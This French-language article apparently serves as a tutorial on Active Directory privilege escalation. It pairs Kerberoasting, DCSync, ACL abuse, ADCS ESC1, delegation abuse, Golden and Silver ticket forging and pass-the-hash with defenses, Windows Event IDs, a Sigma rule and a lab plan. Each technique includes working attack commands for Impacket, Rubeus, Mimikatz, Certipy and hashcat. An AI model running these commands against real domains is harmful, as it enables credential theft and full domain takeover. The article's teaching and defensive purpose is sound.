La privilege escalation dans Active Directory désigne l'ensemble des techniques permettant à un attaquant d'élever ses privilèges depuis un compte utilisateur standard compromis jusqu'aux groupes privilégiés (Domain Admins, Enterprise Admins, Schema Admins) qui contrôlent intégralement l'infrastructure. Selon le SANS GCFR Report 2024, 83 % des pentests AD atteignent Domain Admin, typiquement en 2 à 8 heures pour un pentester expérimenté sur un AD non-hardené. Les techniques dominantes en 2026 sont Kerberoasting (T1558.003, crack offline des tickets de service), AS-REP Roasting (T1558.004, comptes sans preauth), DCSync (T1003.006, abuse des permissions de réplication), ACL abuse (permissions excessives sur objets AD), ADCS ESC1-14 (templates de certificats mal configurés, SpecterOps juin 2021), Unconstrained Delegation abuse, Golden Ticket et Silver Ticket (forgery Kerberos via krbtgt hash), Pass-the-Hash et Pass-the-Ticket (réutilisation credentials volés). BloodHound (SpecterOps, CE gratuite depuis octobre 2023) cartographie ces chemins d'attaque. Cet article détaille le modèle d'attaque typique, les 10 techniques principales avec exploitation pratique et défense, l'outillage offensif (Mimikatz, Impacket, Rubeus), la détection SOC via Event IDs, les outils d'audit défensif (PingCastle, BloodHound CE, Locksmith) et un plan de laboratoire pour apprendre en 3 mois.
Modèle d'attaque AD typique
Privilege escalation AD suit généralement un pattern en 6 phases.
Les 6 phases
| Phase | Actions | Outils typiques |
|---|---|---|
| 1. Initial access | Compromettre compte utilisateur standard | Phishing, RDP brute force, exploit RCE externe |
| 2. Reconnaissance AD | Énumérer l'environnement AD | BloodHound (SharpHound), ADRecon, PowerView |
| 3. Privilege escalation local | Élever sur machine compromise | Exploits kernel, misconfig services |
| 4. Privilege escalation domaine | Atteindre Domain Admin | Kerberoasting, ACL abuse, ADCS ESC, DCSync |
| 5. Persistence | Maintenir accès | Golden Ticket, DCShadow, ACL backdoors |
| 6. Impact | Exécuter objectif (ransomware, exfil) | Diverses |
Article focus sur phases 2-4 (privilege escalation strict).
Chemin typique du pentester
1. Phishing ou RDP brute force
→ obtention credentials user standard
2. Énumération BloodHound depuis compte standard
→ identification chemins vers Domain Admin
3. Choix de l'attaque selon chemin découvert :
- Kerberoasting (compte service avec SPN faible)
- ACL abuse (permission GenericWrite sur groupe privilégié)
- ADCS ESC1 (template avec enrollment rights large)
- NTLM Relay (LLMNR/NBT-NS poisoning + Relay vers ADCS)
4. Exploitation avec outil spécifique :
- Mimikatz pour credential dumping
- Impacket pour Kerberos et NTLM manipulation
- Rubeus pour Kerberos avancé
- Certify pour ADCS exploitation
5. DCSync pour extraire tous les credentials domaine
→ compromission complète
6. Persistence via Golden Ticket (krbtgt)
→ validité 10 ans par défautTechnique 1 — Kerberoasting (T1558.003)
Technique la plus exploitée en 2024-2026. Exploite le chiffrement faible RC4 des TGS Kerberos.
Principe
Dans AD, tout compte ayant un Service Principal Name (SPN) peut recevoir des TGS (Ticket-Granting Service) demandés par n'importe quel utilisateur authentifié. Le TGS est chiffré avec le hash NT du mot de passe du compte service.
Si le password du compte service est faible (dictionnaire, moins de 14 caractères), l'attaquant peut :
- Demander des TGS pour tous les comptes service avec SPN (compte user standard suffit).
- Extraire les tickets de mémoire.
- Cracker offline avec hashcat (mode 13100).
Exploitation
# 1. Énumération des comptes avec SPN
# Avec Impacket sur Linux (compte standard suffit)
GetUserSPNs.py -request -dc-ip 10.0.0.10 domain.test/alice:password123
# Output : fichier avec hashes TGS
# Avec PowerView sur Windows
Get-DomainUser -SPN | Select samaccountname, serviceprincipalname
# 2. Request TGS et extract
# Avec Rubeus (Windows)
Rubeus.exe kerberoast /outfile:hashes.txt /nowrap
# 3. Crack offline
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txtDéfense
| Contrôle | Efficacité |
|---|---|
| Comptes service avec passwords forts (25+ caractères aléatoires) | Haute (augmente crack à années) |
| gMSA (Group Managed Service Accounts) | Très haute (password 256-bit rotated auto) |
| Imposer AES-128/256 only (désactiver RC4) | Moyenne (ralenti crack mais pas bloque) |
| Monitoring Event ID 4769 avec EncryptionType RC4 (0x17) | Détection |
| Audit trimestriel comptes avec SPN | Prévention |
# Audit PowerShell comptes avec SPN
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet
# Forcer AES pour un compte service
Set-ADUser -Identity "svc-sql01" -KerberosEncryptionType "AES128,AES256"
# Vérifier AES imposé domaine
Get-ADDomain | Select msDS-SupportedEncryptionTypesTechnique 2 — AS-REP Roasting (T1558.004)
Variante Kerberoasting ciblant les comptes avec l'attribut "Do not require Kerberos preauthentication" activé.
Principe
Normalement, Kerberos exige que le client prouve la connaissance du password (preauth) avant de recevoir un TGT (Ticket-Granting Ticket). Si l'attribut DONT_REQ_PREAUTH est activé sur un compte, l'attaquant peut obtenir directement un AS-REP crackable offline SANS authentification préalable.
Exploitation
# Avec Impacket : GetNPUsers
GetNPUsers.py -dc-ip 10.0.0.10 -request -no-pass \
-usersfile users.txt domain.test/
# Output : hashes AS-REP crackables
# Avec Rubeus
Rubeus.exe asreproast /outfile:asrep-hashes.txt /nowrap
# Crack
hashcat -m 18200 asrep-hashes.txt rockyou.txtDéfense
# Identifier comptes avec preauth désactivée
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
# Activer preauth (corriger)
Set-ADUser -Identity "old-service" -DoesNotRequirePreAuth $falseRarement activé intentionnellement — typiquement artefact legacy. PingCastle remonte automatiquement ces comptes.
Technique 3 — DCSync (T1003.006)
Technique catastrophique : extraction complète des credentials du domaine.
Principe
Les DCs répliquent entre eux via les permissions de réplication Active Directory (Replicating Directory Changes All). L'attaquant qui obtient ces permissions peut faire croire au DC qu'il est un autre DC et demander la réplication complète de la base AD, incluant tous les hashes NT/Kerberos de tous les comptes (y compris krbtgt et Domain Admin).
Permissions requises :
Replicating Directory ChangesReplicating Directory Changes All
Par défaut, seuls Domain Admins, Enterprise Admins, Built-in Administrators, krbtgt account les ont. Mais ACL abuse peut les attribuer à des comptes standards.
Exploitation
# Avec Impacket secretsdump
secretsdump.py -dc-ip 10.0.0.10 -just-dc domain.test/admin:password@10.0.0.10
# Output :
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:...
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:...
# ... tous les comptes du domaine
# Avec Mimikatz (sur machine Windows)
lsadump::dcsync /domain:domain.test /user:krbtgtDéfense
- Audit des comptes ayant permissions de réplication : seuls DCs et comptes de réplication officielle doivent les avoir.
- Detection Event ID 4662 avec object type Directory Service et GUID de permissions de réplication.
- Microsoft Defender for Identity détecte DCSync en temps réel (capteur sur DC).
# Audit permissions de réplication
(Get-Acl "AD:$(((Get-ADDomain).DistinguishedName))").Access |
Where-Object { $_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" } |
Select IdentityReference, AccessControlType
# GUID 1131f6aa... = DS-Replication-Get-Changes-AllRègle Sigma pour SIEM :
title: DCSync via Replicating Directory Changes
id: 1efb5b1d-d4de-4ea9-8f30-95f5879c2f8d
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
Properties|contains:
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
filter_legitimate:
SubjectUserName|endswith:
- '$'
- 'MSOL_'
condition: selection and not filter_legitimate
level: high
tags: [attack.credential_access, attack.t1003.006]Technique 4 — ACL abuse
Permissions excessives sur objets AD permettent escalade.
Principe
Chaque objet AD a une ACL (Access Control List) définissant qui peut faire quoi dessus. Permissions dangereuses :
- GenericAll : tout faire sur l'objet.
- GenericWrite : modifier n'importe quel attribut.
- WriteDacl : modifier l'ACL elle-même.
- WriteOwner : prendre possession.
- WriteProperty sur member : ajouter à groupe.
- AllExtendedRights : inclut DCSync, password reset, etc.
Si un compte standard a une de ces permissions sur Domain Admins (ou un groupe qui y mène), escalade possible.
Découverte via BloodHound
# BloodHound Cypher query
MATCH (u:User)-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddMember|ForceChangePassword]->(g:Group {name: "DOMAIN ADMINS@DOMAIN.TEST"})
RETURN u.name, type(r), g.nameExploitation exemple : WriteMember sur Domain Admins
# Avec PowerView (si WriteMember sur Domain Admins)
Add-DomainGroupMember -Identity "Domain Admins" -Members "compromised_user"
# Ou directement avec net command
net group "Domain Admins" compromised_user /add /domainDéfense
- Audit régulier ACLs sur groupes privilégiés : BloodHound défensif mensuel.
- Principe du moindre privilège : permissions accordées avec parcimonie.
- Alerting sur changements d'ACL critiques via Event ID 5136.
Technique 5 — ADCS abuse (ESC1 à ESC14)
Vecteur massif d'escalade identifié par SpecterOps en juin 2021. Étendu à ESC14 en 2024.
Les principales ESC
| Vulnérabilité | Description |
|---|---|
| ESC1 | Enrollment Rights large + ENROLLEE_SUPPLIES_SUBJECT + Client Authentication EKU |
| ESC2 | Template Any Purpose ou EKU manquant |
| ESC3 | Enrollment Agent template + certificate request on behalf |
| ESC4 | ACL faibles sur templates |
| ESC5 | ACL faibles sur PKI containers |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 flag sur CA |
| ESC7 | ACL CA admin / officer faibles |
| ESC8 | NTLM relay vers Web Enrollment HTTPS |
| ESC9-ESC14 | Variantes plus récentes |
Exploitation ESC1 typique
# 1. Découverte templates vulnérables
# Avec Certify (offensive C#)
Certify.exe find /vulnerable
# Avec Certipy (Linux équivalent)
certipy find -u alice@domain.test -p password -dc-ip 10.0.0.10
# Output révèle : template "VulnTemplate" avec
# - Enrollment Rights : Authenticated Users
# - ENROLLEE_SUPPLIES_SUBJECT : True
# - Client Authentication EKU : True
# = ESC1 confirmée
# 2. Request certificat en usurpant Domain Admin
certipy req -u alice@domain.test -p password -ca "DOMAIN-CA" \
-template "VulnTemplate" -upn "administrator@domain.test"
# 3. Authentification Kerberos avec le certificat
certipy auth -pfx administrator.pfx
# Output : TGT comme Domain AdminDéfense
Audit obligatoire avec Locksmith (Jake Hildreth, PowerShell open source) :
Install-Module -Name Locksmith -Scope CurrentUser
Invoke-Locksmith -Mode 0 # Audit
Invoke-Locksmith -Mode 4 # Remediation guidéeConfigurations critiques :
- ENROLLEE_SUPPLIES_SUBJECT désactivé sauf nécessité.
- Manager approval sur templates sensibles.
- Enrollment Rights restreints.
- EDITF_ATTRIBUTESUBJECTALTNAME2 désactivé.
- Web Enrollment HTTP désactivé.
Technique 6 — Unconstrained Delegation abuse
Permet à une machine ou compte de se faire passer pour n'importe quel utilisateur qui s'authentifie sur elle.
Principe
Si un compte machine ou utilisateur a l'attribut TRUSTED_FOR_DELEGATION (Unconstrained Delegation), tout utilisateur qui s'authentifie sur ce serveur laisse son TGT cacheable en mémoire. L'attaquant qui compromet ce serveur peut extraire les TGTs et impersoner tous les utilisateurs.
Si un Domain Admin s'authentifie sur un serveur Unconstrained Delegation compromis : le TGT DA est extractible → compromission complète.
Attaque avancée : Printer Bug
Combinaison Unconstrained Delegation + Printer Bug (force DC à s'authentifier via RPC) :
# 1. Trouver machine Unconstrained
# BloodHound query ou PowerView
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
# 2. Exploiter Printer Bug pour forcer DC auth
# rubeus listen + printnightmare-style trigger
Rubeus.exe monitor /interval:5 /nowrap
# Depuis autre session
MS-RPRN.exe \\target-server.domain.test \\compromised-server.domain.test
# 3. TGT du DC extrait → Golden Ticket possibleDéfense
- Auditer et corriger :
Get-ADComputer -Filter {TrustedForDelegation -eq $true}. - Migrer vers Constrained Delegation (limite services cibles).
- Marker comptes sensibles "Account is sensitive and cannot be delegated" (attribut
ACCOUNT_IS_SENSITIVE). - Protected Users group : ses membres ne sont jamais délégables.
Technique 7 — Golden Ticket (T1558.001)
Forge d'un TGT arbitraire utilisant le hash krbtgt.
Principe
Le compte krbtgt est un compte spécial dont le hash est utilisé pour chiffrer tous les TGTs du domaine. Si l'attaquant obtient le hash NT du krbtgt (via DCSync par exemple), il peut forger des TGTs arbitraires pour n'importe quel utilisateur, n'importe quel groupe, validité par défaut 10 ans.
Conséquence : compromission permanente et invisible. Persistance ultime.
Exploitation
# 1. Obtenir hash krbtgt via DCSync
secretsdump.py domain.test/admin:password@dc.domain.test -just-dc-user krbtgt
# Output : krbtgt:502:aad3b435b51404eeaad3b435b51404ee:NT_HASH
# 2. Forger Golden Ticket
# Avec Impacket ticketer
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain domain.test \
-user-id 500 -groups 512 \
attacker_fake_user
# Avec Mimikatz (Windows)
kerberos::golden /user:fake_admin /domain:domain.test \
/sid:S-1-5-21-... /krbtgt:<hash> /id:500 /groups:512 \
/ptt
# 3. Accès à toutes ressources en tant que Domain Admin
klist # TGT presentDéfense
- Reset krbtgt DEUX fois (24h d'intervalle) après tout incident suspect AD. Invalide tous Golden Tickets potentiels.
- Script Microsoft officiel :
Reset-KrbtgtKeyInteractive.ps1. - Reset préventif tous les 6-12 mois recommandé.
- Limite TGT lifetime : 10h par défaut Kerberos policy (au lieu d'illimité).
- Monitoring Event ID 4769 avec anomalies (TGT trop ancien, comptes inexistants).
Technique 8 — Silver Ticket
Variante Golden Ticket mais pour un service spécifique.
Principe
Silver Ticket = TGS forgé avec le hash NT d'un compte service (pas krbtgt). Accès uniquement au service spécifique, pas tout le domaine.
Avantage pour attaquant : pas besoin du hash krbtgt (moins surveillé). Désavantage : scope limité.
Exploitation
# 1. Obtenir hash du compte service cible
# Kerberoasting + crack, ou DCSync sur ce compte
# 2. Forger Silver Ticket
mimikatz.exe "kerberos::golden /domain:domain.test /sid:S-1-5-21-... \
/target:srv-sql.domain.test /service:MSSQLSvc \
/rc4:<svc_sql_hash> /user:fake_admin /ptt"
# 3. Accès au service SQL Server en tant que "fake_admin"
sqlcmd -S srv-sql.domain.test -EDéfense
- Passwords forts sur comptes service (difficile à cracker).
- gMSA pour rotation automatique.
- Monitoring d'accès inhabituel aux services sensibles.
Technique 9 — Pass-the-Hash / Pass-the-Ticket (T1550)
Réutilisation de credentials volés sans connaître le password en clair.
Pass-the-Hash (PtH)
NTLM authentication utilise le hash NT du password comme credential effectif. Si l'attaquant obtient le hash (via Mimikatz LSASS dump), il peut s'authentifier partout où NTLM est accepté sans connaître le password en clair.
# Avec Impacket
psexec.py -hashes :NT_HASH admin@10.0.0.50
# Avec Mimikatz (PtH interactive)
sekurlsa::pth /user:admin /domain:domain.test /ntlm:<hash> /run:cmd.exePass-the-Ticket (PtT)
Similaire mais avec Kerberos tickets (TGT ou TGS) au lieu de NTLM hash.
# Extract tickets
mimikatz.exe "sekurlsa::tickets /export"
# Reuse ticket
mimikatz.exe "kerberos::ptt ticket.kirbi"
klist # ticket presente
# Accès avec le ticket
dir \\target.domain.test\shareDéfense
- Désactiver NTLM progressivement (Group Policy).
- LSA Protection (RunAsPPL) : bloque Mimikatz standard.
- Credential Guard : isolation credentials dans VBS (Virtualization Based Security).
- Protected Users group : Kerberos only, pas de caching.
- Tier Model strict : un compte admin jamais loggé sur machine standard.
BloodHound : cartographier les chemins
Outil indispensable pour découvrir (attaque) ou auditer (défense) les chemins d'escalade.
Collecte avec SharpHound
# SharpHound collecteur (exécution sur machine domain joined)
SharpHound.exe -c All --zipfilename collection.zip
# Collection non privileged (utilisateur standard suffit)
# Collecte : users, groups, computers, ACLs, sessions, trusts, GPO, ADCSAnalyse dans BloodHound CE
Import du zip dans BloodHound Community Edition (gratuit depuis octobre 2023). Queries Cypher intégrées :
# Shortest paths vers Domain Admin
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name: 'DOMAIN ADMINS@DOMAIN.TEST'}))
RETURN p LIMIT 100
# Kerberoastable users avec chemin vers DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name: 'DOMAIN ADMINS@DOMAIN.TEST'}))
RETURN u.name, p
# Unconstrained Delegation assets
MATCH (c:Computer {unconstraineddelegation:true})
MATCH p=shortestPath((c)-[*1..]->(g:Group {name: 'DOMAIN ADMINS@DOMAIN.TEST'}))
RETURN c.name, p
# Utilisateurs avec GenericAll sur groupes privilégiés
MATCH p=(u:User)-[r:GenericAll]->(g:Group)
WHERE g.name =~ '(?i)(DOMAIN ADMINS|ENTERPRISE ADMINS|SCHEMA ADMINS).*'
RETURN u.name, g.nameUsage défensif
Exécution mensuelle de SharpHound + analyse BloodHound permet identification proactive des chemins d'attaque. Corrélation avec PingCastle pour posture globale.
Détection SOC
Event IDs Windows clés pour détecter les techniques d'attaque.
Kerberos / Authentication
| Event ID | Description | Indicateur |
|---|---|---|
| 4768 | Kerberos TGT request | Mimikatz traces, timestamps anormaux |
| 4769 | Kerberos TGS request | Kerberoasting si EncryptionType RC4 (0x17) |
| 4771 | Kerberos preauth failed | AS-REP Roasting tentatives |
| 4776 | NTLM authentication | Pass-the-Hash si success sans 4624 précédent |
Credential Access
| Event ID | Description | Indicateur |
|---|---|---|
| 4662 | Operation on directory object | DCSync (GUID replication permissions) |
| 4673 | Sensitive privilege use | Privilege escalation signals |
| 4688 | Process creation | Mimikatz, Rubeus, PowerView execution |
| Sysmon 10 | LSASS access | Credential dumping attempts |
| Sysmon 11 | File creation | Mimikatz output files (.kirbi, .ccache) |
Privilege Groups
| Event ID | Description | Indicateur |
|---|---|---|
| 4728 | Member added to security-enabled global group | Addition to Domain Admins |
| 4732 | Member added to security-enabled local group | Local admin escalation |
| 4756 | Member added to universal group | Enterprise Admins modification |
Modifications objets
| Event ID | Description | Indicateur |
|---|---|---|
| 5136 | Directory service object modified | ACL changes on sensitive objects |
| 4742 | Computer object modified | Trusted for delegation changes |
Règles Sigma open source
SigmaHQ repository contient 100+ règles AD détection alignées MITRE ATT&CK :
# Clone SigmaHQ
git clone https://github.com/SigmaHQ/sigma.git
# Règles AD spécifiques
find sigma/rules/windows/ -name "*.yml" | xargs grep -l "active_directory\|kerberos" | headOutils offensifs : overview
Stack offensif standard pour privilege escalation AD en 2026.
Reconnaissance
| Outil | Plateforme | Usage |
|---|---|---|
| BloodHound + SharpHound | Windows + Linux | Cartographie AD (essentiel) |
| PowerView | Windows PowerShell | Énumération AD scripted |
| ADRecon | Windows | Rapport Excel inventory AD |
| PowerSploit | Windows | Suite complète |
Credential Access
| Outil | Description |
|---|---|
| Mimikatz | Référence credential dumping (LSASS, Kerberos tickets, DCSync) |
| Rubeus | Kerberos manipulation avancé (Windows C#) |
| Impacket | Python suite (GetUserSPNs, secretsdump, psexec, etc.) |
| Certify / Certipy | ADCS exploitation |
| Kekeo | Complément Mimikatz avancé |
Exploitation
| Outil | Description |
|---|---|
| CrackMapExec / NetExec | Pivoting et exploitation multi-host |
| Responder | LLMNR/NBT-NS poisoning pour NTLM capture |
| ntlmrelayx | NTLM Relay attacks |
| SharpHound / BloodHound.py | Collection depuis Windows ou Linux |
Post-exploitation
| Outil | Description |
|---|---|
| PsExec | Exécution remote |
| WMIExec | Exécution via WMI (bypass AV) |
| SMBClient | Accès shares |
Labs pour apprendre
- GOAD (Game of Active Directory, Mayfly) : lab AD multi-forêts complet avec Vagrant + Ansible.
- HackTheBox : boxes AD (Forest, Active, Sauna, Monteverde, Blackfield, Cascade, Resolute).
- TryHackMe : Throwback network, Wreath network, Holo.
- Ludus (Tyler Ramsbey) : approche Proxmox-native alternative à GOAD.
Défenses prioritaires en 2026
Six contrôles qui éliminent la majorité des chemins d'attaque.
1. Tier Model Microsoft (essentiel)
Séparation stricte Tier 0 / 1 / 2. Un compte Tier 0 (Domain Admin) jamais loggé sur asset Tier 1 (serveur) ou Tier 2 (workstation). Empêche vol de credentials Tier 0 via Mimikatz.
Déploiement : 3-6 mois d'effort, impact majeur.
2. Protected Users group
Membres bénéficient de protections supplémentaires : Kerberos only (pas NTLM), AES only, pas de caching credentials, TGT non renouvelable, pas WDigest.
# Ajouter admins Tier 0 à Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "DomainAdmin1","DomainAdmin2"3. LSA Protection (RunAsPPL) + Credential Guard
LSA Protection marque LSASS comme PPL (Protected Process Light), bloque Mimikatz standard. Credential Guard isole credentials dans VBS.
# LSA Protection via registry
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name "RunAsPPL" -Value 1 -PropertyType DWORD -Force
# Reboot requis
# Credential Guard via Group Policy :
# Computer Config → Admin Templates → System → Device Guard
# Turn On VBS : Enabled + Credential Guard Enabled with UEFI Lock4. ADCS audit et hardening
Locksmith (gratuit PowerShell) audit + remediation ADCS. ESC1-ESC14 doivent être corrigés.
Install-Module -Name Locksmith
Invoke-Locksmith -Mode 0 # Audit5. Désactivation NTLM progressive
Group Policy Network Security: Restrict NTLM. Démarrer en mode Audit, progresser vers Block.
6. Monitoring défensif
- Microsoft Defender for Identity : détection temps réel techniques courantes (Kerberoasting, DCSync, Pass-the-Hash, reconnaissance).
- SIEM avec règles Sigma : Event IDs 4769, 4662, 4728, Sysmon 10.
- BloodHound défensif mensuel : cartographie chemins d'attaque actuels.
- PingCastle : score de maturité AD trimestriel.
Apprendre la privilege escalation AD
Plan de 3 mois pour développeurs ou admins cherchant à comprendre offensive.
Mois 1 : Fondations
- Concepts clés d'AD pour débutants (article frère).
- Lab GOAD (Game of Active Directory) setup complet.
- TryHackMe : Active Directory Fundamentals.
- HackTheBox : Box Forest (easy AD).
Mois 2 : Techniques core
- Kerberoasting pratique sur GOAD.
- BloodHound mastery.
- Impacket suite (GetUserSPNs, secretsdump, psexec).
- Mimikatz basics.
Mois 3 : Advanced + défense
- ADCS exploitation (Certify, Certipy) + audit Locksmith.
- Unconstrained Delegation abuse.
- Golden Ticket + Silver Ticket.
- BloodHound côté défensif.
- Writeups HackTheBox boxes AD (Active, Sauna, Monteverde, Blackfield).
Points clés à retenir
- Privilege escalation AD atteint Domain Admin dans 83 % des pentests (SANS GCFR 2024), typiquement en 2-8 heures sur AD non-hardené. Techniques dominantes : Kerberoasting, DCSync, ACL abuse, ADCS ESC, delegation abuse, Golden Ticket.
- Kerberoasting est la technique la plus exploitée : exige compte user standard, extrait TGS chiffrés RC4 pour crack offline. Défense : gMSA, passwords forts, AES only.
- BloodHound (SpecterOps, Community Edition gratuite octobre 2023) est indispensable côté offensif ET défensif. Cartographie automatique des chemins d'attaque, queries Cypher pour identifier vulnérabilités.
- ADCS est devenu vecteur d'attaque massif depuis SpecterOps juin 2021 (ESC1-ESC14). Audit annuel obligatoire avec Locksmith (Jake Hildreth, gratuit PowerShell).
- Défenses prioritaires 2026 : Tier Model Microsoft, Protected Users, LSA Protection + Credential Guard, ADCS hardening, désactivation NTLM progressive, Microsoft Defender for Identity. Couvrent 90 % des techniques documentées.
Pour aller plus loin
- Kerberos expliqué - protocole au cœur de la majorité des techniques de privilege escalation AD.
- Pourquoi AD est une cible majeure - contexte stratégique de l'attractivité AD.
- Concepts clés d'AD pour débutants - fondamentaux préalables si vocabulaire AD peu familier.
- Sécurité Active Directory : guide de hardening - défense défensive complète avec Tier Model, Protected Users, ADCS hardening.





